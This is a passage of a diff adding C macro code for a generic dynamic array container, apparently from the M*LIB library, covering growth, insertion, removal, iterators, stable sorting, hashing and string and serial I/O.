+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_new, array_t v)                                     \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return NULL;                                                            \
+    M_IF_EXCEPTION( v->size --);                                              \
+    M_CALL_INIT(oplist, *data);                                               \
+    M_IF_EXCEPTION( v->size ++);                                              \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, _push_move, array_t v, type *x)                             \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_at, array_t v, size_t key, type const x)              \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(key, v->size+1);                                           \
+    if (M_UNLIKELY (v->size >= v->alloc) ) {                                  \
+      M_ASSERT(v->size == v->alloc);                                          \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, v->alloc);                      \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      M_ASSERT (alloc > v->size);                                             \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    memmove(&v->ptr[key+1], &v->ptr[key], (v->size-key)*sizeof(type));        \
+    M_ON_EXCEPTION( memmove(&v->ptr[key], &v->ptr[v->size], sizeof(type))) {  \
+      M_CALL_INIT_SET(oplist, v->ptr[key], x);                                \
+    }                                                                         \
+    v->size++;                                                                \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _resize, array_t v, size_t size)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    if (v->size > size) {                                                     \
+      /* Decrease size of array */                                            \
+      for(size_t i = size ; i < v->size; i++)                                 \
+        M_CALL_CLEAR(oplist, v->ptr[i]);                                      \
+      v->size = size;                                                         \
+    } else if (v->size < size) {                                              \
+      /* Increase size of array */                                            \
+      if (size > v->alloc) {                                                  \
+        size_t alloc = size ;                                                 \
+        type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);    \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, alloc);                                         \
+        }                                                                     \
+        v->ptr = ptr;                                                         \
+        v->alloc = alloc;                                                     \
+      }                                                                       \
+      for(size_t i = v->size ; i < size; i++) {                               \
+        M_CALL_INIT(oplist, v->ptr[i]);                                       \
+        M_IF_EXCEPTION( v->size = i+1);                                       \
+      }                                                                       \
+      v->size = size;                                                         \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, _reserve, array_t v, size_t alloc)                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    /* NOTE: Reserve below needed size to perform a shrink to fit */          \
+    if (v->size > alloc) {                                                    \
+      alloc = v->size;                                                        \
+    }                                                                         \
+    if (M_UNLIKELY (alloc == 0)) {                                            \
+      M_CALL_FREE(oplist, type, v->ptr, v->alloc);                            \
+      v->size = v->alloc = 0;                                                 \
+      v->ptr = NULL;                                                          \
+    } else {                                                                  \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _safe_get, array_t v, size_t idx)                         \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    const size_t size = idx + 1;                                              \
+    /* resize if needed */                                                    \
+    if (v->size <= size) {                                                    \
+      /* Increase size of array */                                            \
+      if (M_UNLIKELY (size > v->alloc) ) {                                    \
+        size_t alloc = M_CALL_INC_ALLOC(oplist, size) ;                       \
+        /* In case of overflow of size_t */                                   \
+        if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                           \
+          M_MEMORY_FULL(type, -(size_t)1);                                    \
+        }                                                                     \
+        type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);    \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, alloc);                                         \
+        }                                                                     \
+        v->ptr = ptr;                                                         \
+        v->alloc = alloc;                                                     \
+      }                                                                       \
+      for(size_t i = v->size ; i < size; i++) {                               \
+        M_CALL_INIT(oplist, v->ptr[i]);                                       \
+        M_IF_EXCEPTION( v->size = i+1);                                       \
+      }                                                                       \
+      v->size = size;                                                         \
+    }                                                                         \
+    M_ASSERT (idx < v->size);                                                 \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return &v->ptr[idx];                                                      \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _pop_back, type *dest, array_t v)                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    v->size--;                                                                \
+    if (dest) {                                                               \
+      M_DO_MOVE (oplist, *dest, v->ptr[v->size]);                             \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, v->ptr[v->size]);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _pop_move)(type *dest, array_t v)                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    M_ASSERT (dest != NULL);                                                  \
+    v->size--;                                                                \
+    M_CALL_INIT_MOVE (oplist, *dest, v->ptr[v->size]);                        \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  /* TODO: Factorize all INIT dependent methods within the same IF*/          \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _pop_until, array_t v, it_t pos)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v == pos->array);                                               \
+    M_ASSERT_INDEX(pos->index, v->size+1);                                    \
+    M_F(name, _resize) M_R(v, pos->index);                                    \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const array_t v)                                        \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->size == 0;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const array_t v)                                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->size;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity)(const array_t v)                                       \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    return v->alloc;                                                          \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_at, type *dest, array_t v, size_t i)                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT (v->size > 0 && v->ptr != NULL);                                 \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    if (dest)                                                                 \
+      M_DO_MOVE (oplist, *dest, v->ptr[i]);                                   \
+    else                                                                      \
+      M_CALL_CLEAR(oplist, v->ptr[i]);                                        \
+    memmove(&v->ptr[i], &v->ptr[i+1], sizeof(type)*(v->size-1-i));            \
+    v->size--;                                                                \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name, _erase, array_t a, size_t i)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(a);                                                      \
+    if (i >= a->size) return false;                                           \
+    M_F(name, _pop_at) M_R(NULL, a, i);                                       \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _insert_v, array_t v, size_t i, size_t num)                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(i, v->size+1);                                             \
+    size_t size = v->size + num;                                              \
+    /* Test for overflow of variable size */                                  \
+    if (M_UNLIKELY_NOMEM (size <= v->size)) {                                 \
+      /* Unlikely case of nothing to do */                                    \
+      if (num == 0) return;                                                   \
+      M_MEMORY_FULL(type, v->size);                                           \
+    }                                                                         \
+    /* Test if alloc array is sufficient */                                   \
+    if (size > v->alloc) {                                                    \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, size) ;                         \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    memmove(&v->ptr[i+num], &v->ptr[i], sizeof(type)*(v->size - i) );         \
+    m_volatile size_t k;                                                      \
+    M_ON_EXCEPTION(memmove(&v->ptr[k], &v->ptr[i+num], sizeof(type)*(v->size - i) ), v->size += (k-i) ) { \
+      for(k = i ; k < i+num; k++)                                             \
+        M_CALL_INIT(oplist, v->ptr[k]);                                       \
+    }                                                                         \
+    v->size = size;                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _remove_v, array_t v, size_t i, size_t j)                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT(i < j && v->ptr != NULL);                                        \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_ASSERT_INDEX(j, v->size+1);                                             \
+    for(size_t k = i ; k < j; k++)                                            \
+      M_CALL_CLEAR(oplist, v->ptr[k]);                                        \
+    memmove(&v->ptr[i], &v->ptr[j], sizeof(type)*(v->size - j) );             \
+    v->size -= (j-i);                                                         \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(array_t v1, array_t v2)                                    \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v1);                                                     \
+    M_ARRA4_CONTRACT(v2);                                                     \
+    M_SWAP(size_t, v1->size, v2->size);                                       \
+    M_SWAP(size_t, v1->alloc, v2->alloc);                                     \
+    M_SWAP(type *, v1->ptr, v2->ptr);                                         \
+    M_ARRA4_CONTRACT(v1);                                                     \
+    M_ARRA4_CONTRACT(v2);                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap_at)(array_t v, size_t i, size_t j)                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_ASSERT_INDEX(j, v->size);                                               \
+    type tmp;                                                                 \
+    M_CALL_INIT_MOVE(oplist, tmp, v->ptr[i]);                                 \
+    M_CALL_INIT_MOVE(oplist, v->ptr[i], v->ptr[j]);                           \
+    M_CALL_INIT_MOVE(oplist, v->ptr[j], tmp);                                 \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _get)(const array_t v, size_t i)                                  \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    return &v->ptr[i];                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cget)(const array_t v, size_t i)                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (v->ptr != NULL);                                                \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    return M_CONST_CAST(type, &v->ptr[i]);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _front)(const array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    return M_F(name, _get)(v, 0);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const array_t v)                                    \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->index = 0;                                                            \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, const array_t v)                               \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    /* If size is 0, index is -1 as unsigned, so it is greater than end */    \
+    it->index = v->size - 1;                                                  \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, const array_t v)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->index = v->size;                                                      \
+    it->array = v;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it, const it_t org)                                 \
+  {                                                                           \
+    M_ASSERT (it != NULL && org != NULL);                                     \
+    it->index = org->index;                                                   \
+    it->array = org->array;                                                   \
+    M_ARRA4_CONTRACT(it->array);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    return it->index >= it->array->size;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    /* NOTE: Can not compute 'size-1' due to potential overflow               \
+       if size is 0 */                                                        \
+    return it->index + 1 >= it->array->size;                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1,                                      \
+                         const it_t it2)                                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->array == it2->array && it1->index == it2->index;              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    it->index ++;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->array != NULL);                                \
+    /* NOTE: In the case index=0, it will be set to (unsigned) -1             \
+       ==> it will be greater than size ==> end_p will return true */         \
+    it->index --;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    return M_F(name, _get)(it->array, it->index);                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    return M_F(name, _cget)(it->array, it->index);                            \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _insert, array_t a, it_t it, type const x)                  \
+  {                                                                           \
+    M_ASSERT (it != NULL && a == it->array);                                  \
+    size_t index = M_F(name, _end_p)(it) ? 0 : it->index+1;                   \
+    M_F(name, _push_at)M_R(a, index, x);                                      \
+    it->index = index;                                                        \
+  }                                                                           \
+  , /* End of INIT_SET */ )                                                   \
+                                                                              \
+  M_IF_AT_LEAST_METHOD(SET, INIT_MOVE, oplist)(                               \
+  M_P(void, name, _remove, array_t a, it_t it)                                \
+  {                                                                           \
+    M_ASSERT (it != NULL && a == it->array);                                  \
+    M_F(name, _pop_at) M_R(NULL, a, it->index);                               \
+    /* NOTE: it->index will naturally point to the next element */            \
+  }                                                                           \
+  , /* End of SET | INIT_SET */ )                                             \
+                                                                              \
+   M_INLINE void M_F(name, _special_sort)(array_t l,                          \
+              int (*func_type) (type const *a, type const *b))                \
+  {                                                                           \
+    /* Using qsort is more compact but slower than a full templated           \
+       version which can be twice faster */                                   \
+    int (*func_void)(const void*, const void*);                               \
+    /* There is no way (?) to avoid the cast */                               \
+    func_void = (int (*)(const void*, const void*))func_type;                 \
+    qsort (l->ptr, l->size, sizeof(type), func_void);                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD3(SWAP, SET, CMP, oplist)(                                       \
+  M_INLINE void                                                               \
+  M_C3(m_arra4_,name,_stable_sort_noalloc)(type tab[], size_t size, type tmp[]) \
+  {                                                                           \
+    size_t th = 4;                                                            \
+    M_IF_DEBUG(type *org_tab = tab;)                                          \
+    M_ASSERT (size > 1);                                                      \
+    /* Let's select the threshold of the pass 1 to be sure                    \
+       the final result is in tab.*/                                          \
+    if (m_core_clz64(size-1) & 1)                                             \
+      th += th;                                                               \
+                                                                              \
+    /* Pass 1: Partial insertion sort (stable) up to 'th' size */             \
+    for(size_t k = 0 ; k < size; ) {                                          \
+      size_t max = size - k < 2*th ? size - k : th;                           \
+      for(size_t i = 1; i < max; i++) {                                       \
+        size_t j = i;                                                         \
+        while (j > 0 && M_CALL_CMP(oplist, tab[k+j-1], tab[k+j]) > 0) {       \
+          M_CALL_SWAP(oplist, tab[k+j-1], tab[k+j]);                          \
+          j = j - 1;                                                          \
+        }                                                                     \
+      }                                                                       \
+      k += max;                                                               \
+    }                                                                         \
+                                                                              \
+    /* N Pass of merge sort (stable) */                                       \
+    while (th < size) {                                                       \
+      type *dest = tmp;                                                       \
+      /* Pass n: Merge 2 sections of 'th' elements */                         \
+      for(size_t k = 0 ; k < size; ) {                                        \
+        type *el1 = &tab[k];                                                  \
+        type *el2 = &tab[k+th];                                               \
+        size_t n1 = th;                                                       \
+        size_t n2 = size-k <= 3*th ? size-k-th : th;                          \
+        M_ASSERT (size-k > th);                                               \
+        M_ASSERT (0 < n1 && n1 <= size);                                      \
+        M_ASSERT (0 < n2 && n2 <= size);                                      \
+        k += n1+n2;                                                           \
+        for (;;) {                                                            \
+          if (M_CALL_CMP(oplist, *el1, *el2) <= 0) {                          \
+            M_CALL_INIT_MOVE(oplist, *dest, *el1);                            \
+            dest++;                                                           \
+            el1++;                                                            \
+            if (M_UNLIKELY(-- n1 == 0)) {                                     \
+              M_ASSERT (n2 > 0);                                              \
+              memcpy (dest, el2, n2 * sizeof (type));                         \
+              dest += n2;                                                     \
+              break;                                                          \
+            }                                                                 \
+          } else {                                                            \
+            M_CALL_INIT_MOVE(oplist, *dest, *el2);                            \
+            dest++;                                                           \
+            el2++;                                                            \
+            if (M_UNLIKELY(-- n2 == 0)) {                                     \
+              M_ASSERT (n1 > 0);                                              \
+              memcpy (dest, el1, n1 * sizeof (type));                         \
+              dest += n1;                                                     \
+              break;                                                          \
+            }                                                                 \
+          }                                                                   \
+        }                                                                     \
+      }                                                                       \
+      /* Swap t & tab */                                                      \
+      M_SWAP(type *, tab, tmp);                                               \
+      /* Increase th for next pass */                                         \
+      th += th;                                                               \
+    }                                                                         \
+    M_ASSERT (org_tab == tab);                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _special_stable_sort, array_t l)                            \
+  {                                                                           \
+    if (M_UNLIKELY (l->size < 2))                                             \
+      return;                                                                 \
+    /* NOTE: if size is <= 4, no need to perform an allocation */             \
+    type *temp = M_CALL_REALLOC(oplist, type, NULL, 0, l->size);              \
+    if (M_UNLIKELY_NOMEM (temp == NULL)) {                                    \
+      M_MEMORY_FULL(type, l->size);                                           \
+    }                                                                         \
+    M_C3(m_arra4_,name,_stable_sort_noalloc)(l->ptr, l->size, temp);          \
+    M_CALL_FREE(oplist, type, temp, l->size);                                 \
+  }                                                                           \
+  ,) /* IF SWAP & SET & CMP operators */                                      \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const array_t array1,                                   \
+                      const array_t array2)                                   \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array1);                                                 \
+    M_ARRA4_CONTRACT(array2);                                                 \
+    if (array1->size != array2->size) return false;                           \
+    size_t i;                                                                 \
+    for(i = 0; i < array1->size; i++) {                                       \
+      type const *item1 = M_F(name, _cget)(array1, i);                        \
+      type const *item2 = M_F(name, _cget)(array2, i);                        \
+      bool b = M_CALL_EQUAL(oplist, *item1, *item2);                          \
+      if (!b) return false;                                                   \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+  , /* no EQUAL */ )                                                          \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const array_t array)                                       \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_HASH_DECL(hash);                                                        \
+    for(size_t i = 0 ; i < array->size; i++) {                                \
+      size_t hi = M_CALL_HASH(oplist, array->ptr[i]);                         \
+      M_HASH_UP(hash, hi);                                                    \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* no HASH */ )                                                           \
+                                                                              \
+  M_P(void, name, _splice, array_t a1, array_t a2)                            \
+  {                                                                           \
+    M_ARRA4_CONTRACT(a1);                                                     \
+    M_ARRA4_CONTRACT(a2);                                                     \
+    M_ASSERT(a1 != a2);                                                       \
+    if (M_LIKELY (a2->size > 0)) {                                            \
+      size_t newSize = a1->size + a2->size;                                   \
+      /* To overflow newSize, we need to a1 and a2 a little bit above         \
+         SIZE_MAX/2, which is not possible in the classic memory model as we  \
+         should have exhausted all memory before reaching such sizes. */      \
+      M_ASSERT_INDEX(a1->size, newSize);                                      \
+      if (newSize > a1->alloc) {                                              \
+        type *ptr = M_CALL_REALLOC(oplist, type, a1->ptr, a1->alloc, newSize); \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+          M_MEMORY_FULL(type, newSize);                                       \
+        }                                                                     \
+        a1->ptr = ptr;                                                        \
+        a1->alloc = newSize;                                                  \
+      }                                                                       \
+      M_ASSERT(a1->ptr != NULL);                                              \
+      M_ASSERT(a2->ptr != NULL);                                              \
+      memcpy(&a1->ptr[a1->size], &a2->ptr[0], a2->size * sizeof (type));      \
+      /* a2 is now empty */                                                   \
+      a2->size = 0;                                                           \
+      /* a1 has been expanded with the items of a2 */                         \
+      a1->size = newSize;                                                     \
+    }                                                                         \
+  }                                                                           \
+
+/* Define the I/O functions */
+#define M_ARRA4_DEF_IO(name, type, oplist, array_t, it_t)                     \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, array_t const array, bool append) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, array) ;                                          \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_GET_STR(oplist, str, *item, true);                               \
+      if (!M_F(name, _last_p)(it))                                            \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* no GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const array_t array)                        \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('[', file);                                                        \
+    for (size_t i = 0; i < array->size; i++) {                                \
+      type const *item = M_F(name, _cget)(array, i);                          \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+      if (i != array->size-1)                                                 \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no OUT_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD2(PARSE_STR, INIT, oplist)(                                      \
+  M_P(bool, name, _parse_str, array_t array, const char str[], const char**endp) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name,_reset)M_R(array);                                               \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) { c = 0; goto exit; }                          \
+    c = m_core_str_nospace(&str);                                             \
+    if (M_UNLIKELY (c == ']')) { goto exit; }                                 \
+    if (M_UNLIKELY (c == 0)) { goto exit; }                                   \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _push_back) M_R(array, item);                               \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+  exit:                                                                       \
+    M_ARRA4_CONTRACT(array);                                                  \
+    if (endp) *endp = str;                                                    \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no PARSE_STR & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD2(IN_STR, INIT, oplist)(                                         \
+  M_P(bool, name, _in_str, array_t array, FILE *file)                         \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name,_reset)M_R(array);                                               \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push_back) M_R(array, item);                               \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    M_ARRA4_CONTRACT(array);                                                  \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no IN_STR & INIT */ )                                                  \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const array_t array) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    ret = f->m_interface->write_array_start M_R(local, f, array->size);       \
+    for (size_t i = 0; i < array->size; i++) {                                \
+      type const *item = M_F(name, _cget)(array, i);                          \
+      if (i != 0) {                                                           \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      }                                                                       \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD2(IN_SERIAL, INIT, oplist)(                                      \
+  M_P(m_serial_return_code_t, name, _in_serial, array_t array, m_serial_read_t f) \
+  {                                                                           \
+    M_ARRA4_CONTRACT(array);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(array);                                               \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) {                           \
+       return ret;                                                            \
+    }                                                                         \
+    M_F(name, _reserve) M_R(array, estimated_size);                           \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, item, f);                              \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push_back)M_R(array, item);                                \
+        ret = f->m_interface->read_array_next(local, f);                      \
